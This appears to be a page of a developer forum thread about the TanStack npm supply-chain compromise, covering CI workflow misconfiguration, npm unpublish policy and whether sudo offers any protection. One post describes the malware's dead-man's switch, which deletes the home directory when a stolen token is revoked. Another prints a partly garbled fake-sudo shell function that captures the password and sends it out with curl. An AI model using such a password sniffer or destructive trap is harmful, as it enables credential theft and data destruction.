Is there any obvious way to detect if you’ve gotten owned by this?
Postmortem: TanStack NPM supply-chain compromise
231–240 of 501 posts
Re: Postmortem: TanStack NPM supply-chain compromise
#232Earlier quoted context omitted.
they probably used the publish token in a pull-request-target workflow or something?
yes, they used pull_request_target for a benchmarking suite. github has a huge warning saying to never use pull_request_target to run user code, but this is just going to keep happening
And a labeling action which requires `pull_request_target`: https://github.com/actions/labeler#create-workflow
These types of features are not worth it and need to be removed from the marketplace.
Re: Postmortem: TanStack NPM supply-chain compromise
#233[dead]
Re: Postmortem: TanStack NPM supply-chain compromise
#234Earlier quoted context omitted.
The obvious solution is that unpublish should be available within a time window after a new version is published and then unavailable after that.
There is a time window - https://docs.npmjs.com/policies/unpublish
Yes but they didn't do it properly. They only allow unpublishing if there are no dependants, which means it can't be used to pull a package version for security reasons.
It should be that within the first X hours you can pull a version regardless of dependants, after that you should need approval.
Re: Postmortem: TanStack NPM supply-chain compromise
#235> Unpublish was unavailable for nearly all affected packages because of npm's "no unpublish if dependents exist" policy. We have to rely on npm security to pull tarballs server-side, which adds hours of delay during which malicious tarballs remain installable Per https://docs.npmjs.com/policies/unpublish : > If your package does not meet the unpublish policy criteria, we recommend deprecating the package. This allows…
The baffling part is why it takes hours for the npm security team to unpublish packages that contain malware, as attested by multiple independent sources? That should be able to happen in minutes.
It would take longer than minutes to validate the claims themselves.
Re: Postmortem: TanStack NPM supply-chain compromise
#236Earlier quoted context omitted.
”TanStack maintainer Tanner Linsley said the attacker used an orphaned commit to gain access to the workflow run that stores the OIDC token, effectively bypassing the project’s existing publishing protections. He noted that two-factor authentication is enabled for everyone on the team”
github holding on to orphaned commits has been a noted issue for a while now
It’s a wonderful feature when you accidentally nuke your one and only local copy.
Re: Postmortem: TanStack NPM supply-chain compromise
#237Please be careful when revoking tokens. It looks like the payload installs a dead-man's switch at ~/.local/bin/gh-token-monitor.sh as a systemd user service (Linux) / LaunchAgent com.user.gh-token-monitor(macOS). It polls api.github.com/user with the stolen token every 60s, and if the token is revoked (HTTP 40x), it runs rm -rf ~/. https://github.com/TanStack/router/issues/7383#issuecomment-...
I don't understand why people were voting this comment down in the issue page
We need a new emoji for: the situation is lame and the poster is correct. Like a combination of thumbs-up+frown
Re: Postmortem: TanStack NPM supply-chain compromise
#238Earlier quoted context omitted.
Or you could also hijack it using $PATH search order with your wrapper to get existing terminal sessions too, there's a lot of ways to skin that cat.
Endless ways, which is why I do not understand why sudo is ever used anymore, especially in production. You do not need root to do anything in Linux these days anyway between Namespaces and Capabilities so there is really no reason for root to be accessible at all or have any processes running as root post boot.
I dont mean to be snarky, can you run `pacman -Syu` without root with "new" tech? Or do you mean in general on production systems or whatever?
Re: Postmortem: TanStack NPM supply-chain compromise
#239My decision to abandon the JS ecosystem and language entirely continues to pay off. What a mess... I am, however, concerned that this will pwn my workplace. We don't use Tanstack but this seems self-propagating and I doubt all of our dependencies are doing enough to prevent it.
Abandon NPM in exchange for what? Cargo? Go get? Pip install? Every package manager that does not analyze and run tests on the packages being uploaded (like Linux distros do) is vulnerable.
Distro packages maintained and (hopefully audited on update) by separate maintainers ?
Re: Postmortem: TanStack NPM supply-chain compromise
#240Earlier quoted context omitted.
Sudo is security theater. Malware can make a fake unprivileged sudo that sniffs your password. function sudo () { realsudo=$(which sudo); read -r -s -p "[sudo] password for $USER: " password; echo "$USER: $password" | \ curl -F 'p= /dev/null 2>&1; $realsudo -S /dev/null 2>&1; $realsudo "${@:1}"; }
> Sudo is security theater. Yes indeed. > Malware can make a fake unprivileged sudo that sniffs your password. Not on my Linux workstation though. No sudo command installed. Not a single setuid binary. Not even su . So basically only root can use su and nobody else. Only way to log in at root is either by going to tty2 (but then the root password is 30 characters long, on purpose, to be sure I don't ever enter it, so…
This thread was kicked off by somebody who said:
> Realistically if you have installed malware, you need to do a full wipe of your computer anyway
You might be the exception to this sentiment. But out of curiosity, after all that setup would you feel confident trying to recover from malware (rather than taking the “nuke it from orbit” approach?).